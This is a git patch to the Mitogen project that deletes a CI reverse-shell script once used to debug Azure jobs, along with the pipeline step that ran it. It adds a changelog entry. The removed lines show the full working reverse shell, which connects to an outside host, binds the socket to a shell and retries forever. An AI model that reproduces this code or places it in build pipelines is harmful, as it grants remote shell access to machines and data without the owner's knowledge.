From 086a32535966a5855001ce3ffe45fc61f78412f5 Mon Sep 17 00:00:00 2001 From: Alex Willmer Date: Thu, 21 Oct 2021 22:08:31 +0100 Subject: [PATCH] CI: Remove obsolete reverse shell historically used to debug CI This reverse shell was historically used to debug CI jobs interactively. It is not used anymore, and may be causing jobs to hang, then timeout. There is no reason to keep it, and removing it simplifies CI jobs. Additionally it has been reported as flagged by security scanners, so removing it makes Mitogen easier to package/adopt. fixes #847 (cherry picked from commit a990eb3d7750138be1a299e9538a2c99be265f8b) --- .ci/azure-pipelines-steps.yml | 3 --- .ci/spawn_reverse_shell.py | 36 ----------------------------------- docs/changelog.rst | 1 + 3 files changed, 1 insertion(+), 39 deletions(-) delete mode 100755 .ci/spawn_reverse_shell.py diff --git a/.ci/azure-pipelines-steps.yml b/.ci/azure-pipelines-steps.yml index 43eda90f..9acfa7b1 100644 --- a/.ci/azure-pipelines-steps.yml +++ b/.ci/azure-pipelines-steps.yml @@ -37,9 +37,6 @@ steps: displayName: activate venv -- script: .ci/spawn_reverse_shell.py - displayName: "Spawn reverse shell" - - script: .ci/$(MODE)_install.py displayName: "Run $(MODE)_install.py" diff --git a/.ci/spawn_reverse_shell.py b/.ci/spawn_reverse_shell.py deleted file mode 100755 index 8a6b9500..00000000 --- a/.ci/spawn_reverse_shell.py +++ /dev/null @@ -1,36 +0,0 @@ -#!/usr/bin/env python - -""" -Allow poking around Azure while the job is running. -""" - -import os -import pty -import socket -import subprocess -import sys -import time - - -if os.fork(): - sys.exit(0) - - -def try_once(): - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect(("k3.botanicus.net", 9494)) - open('/tmp/interactive', 'w').close() - - os.dup2(s.fileno(), 0) - os.dup2(s.fileno(), 1) - os.dup2(s.fileno(), 2) - p = pty.spawn("/bin/sh") - - -while True: - try: - try_once() - except: - time.sleep(5) - continue - diff --git a/docs/changelog.rst b/docs/changelog.rst index cb7360a2..3b5e4b79 100644 --- a/docs/changelog.rst +++ b/docs/changelog.rst @@ -31,6 +31,7 @@ v0.2.10 (unreleased) * :gh:issue:`758` fix initilialisation of callback plugins in test suite, to address a `KeyError` in :method:`ansible.plugins.callback.CallbackBase.v2_runner_on_start` * :gh:issue:`775` Add msvcrt to the default module deny list +* :gh:issue:`847` Removed historic Continuous Integration reverse shell v0.2.9 (2019-11-02)